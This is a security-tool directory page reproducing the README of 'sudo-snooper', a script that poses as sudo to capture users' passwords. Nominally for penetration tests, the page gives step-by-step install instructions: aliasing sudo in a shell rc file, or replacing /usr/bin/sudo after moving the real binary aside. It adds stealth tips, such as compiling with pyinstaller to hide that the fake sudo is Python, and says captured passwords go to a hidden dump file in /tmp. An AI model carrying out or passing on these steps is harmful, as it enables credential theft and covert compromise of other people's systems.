Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
sudo-snooper — Python script that acts like the original sudo binary to fool users into entering their passwords | Kitploit
Tools/GitHubGitHub/xorond/sudo-snooper
Phishing ToolsPassword AttacksPenetration TestingSocial Engineering
GitHubxorond/sudo-snooper

sudo-snooper

Python script that acts like the original sudo binary to fool users into entering their passwords

View Repository
7034426 years agoReviewed by Kitploit
Share

sudo-snooper

sudo-snooper acts like the original sudo binary to fool users into entering their passwords.

It will show a fake prompt just like the original to the user to enter their sudo password.

This can be useful in penetration tests or security evaluations for testing user knowledge.

Installation steps

Option 1 - Alias the sudo command (easier but somewhat more noticable)

This option is easier to do and more portable, however it might be more noticable to careful users.

Edit the .rc file of the shell the user is using (can be .bashrc .zshrc and so on) and add the following:

alias sudo='python3 /path/to/sudo-snooper.py'

Make sure sudo-snooper.py has the correct permissions.

Option 2 - Install in place of the real sudo (harder but less obvious)

You need root access for this install option

This only becomes useful if you already have root access but can't crack the hashes from /etc/shadow for some reason. Basically you can phish the users password out of them.

  • move the original sudo binary to another name
# mv /usr/bin/sudo /usr/bin/somename
  • change the parameters in the file to your liking

Change these in sudo-snooper.py:

dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
  • install the python file in /usr/bin/sudo (or wherever sudo was before)
# install -dm755 sudo-snooper.py /usr/bin/sudo
  • give the necessary permissions to the python file

    You can go fancy here and make a non-readable executable file for users, but I'm not going into that. Check some of the answers here for that.

NOTE: A somewhat more convincing way to install this is to compile it using pyinstaller so that it doesn't show up as a python file when file /usr/bin/sudo is executed.

To do that under Archlinux: pyinstaller --onefile sudo-snooper.py will work. However please note that once compiled you won't be able to change the parameters in the compiled binary.

Usage:

Once installed, sudo-snooper can be called just like the normal sudo.

For example, running

sudo vim /etc/resolv.conf

will result in sudo-snooper being called (assuming it's properly installed).

It will ask for the user password and then execute the command by redirecting to the real sudo binary if the password is correct.

You can then retrieve the user password by reading the dump file in the settings.

TODO:

  • handle when user enters wrong password
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →